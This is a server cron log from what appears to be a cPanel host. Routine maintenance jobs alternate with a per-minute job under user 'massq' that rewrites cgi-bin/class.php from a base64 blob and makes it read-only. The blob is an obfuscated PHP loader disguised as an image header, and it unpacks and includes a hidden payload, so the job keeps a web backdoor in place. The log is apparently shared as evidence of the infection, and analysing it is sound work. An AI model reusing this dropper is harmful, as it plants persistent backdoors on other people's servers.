m5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:16:01 server CROND[24411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:17:01 server CROND[24939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:17:01 server CROND[24941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:17:01 server CROND[24940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:18:01 server CROND[25326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:18:01 server CROND[25327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:18:01 server CROND[25328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:19:01 server CROND[25728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:19:01 server CROND[25729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:19:01 server CROND[25730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:20:01 server CROND[26134]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 06:20:01 server CROND[26135]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 06:20:01 server CROND[26143]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 06:20:01 server CROND[26151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:20:01 server CROND[26154]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:20:01 server CROND[26153]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:20:01 server CROND[26152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:20:01 server CROND[26159]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 06:20:01 server CROND[26150]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:21:01 server CROND[26989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:21:01 server CROND[26990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:21:01 server CROND[26991]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:22:01 server CROND[27454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:22:01 server CROND[27455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:22:01 server CROND[27456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:23:01 server CROND[27831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:23:01 server CROND[27832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:23:01 server CROND[27833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:24:01 server CROND[28196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:24:01 server CROND[28197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:24:01 server CROND[28198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:25:01 server CROND[28586]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 06:25:01 server CROND[28587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:25:01 server CROND[28592]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:25:01 server CROND[28595]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 06:25:01 server CROND[28593]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:25:01 server CROND[28597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:25:01 server CROND[28596]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 06:25:01 server CROND[28594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:26:01 server CROND[29421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:26:01 server CROND[29422]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:26:01 server CROND[29423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:27:01 server CROND[29797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:27:01 server CROND[29799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:27:01 server CROND[29798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:27:01 server CROND[29800]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 06:28:01 server CROND[30294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 06:28:01 server CROND[30295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
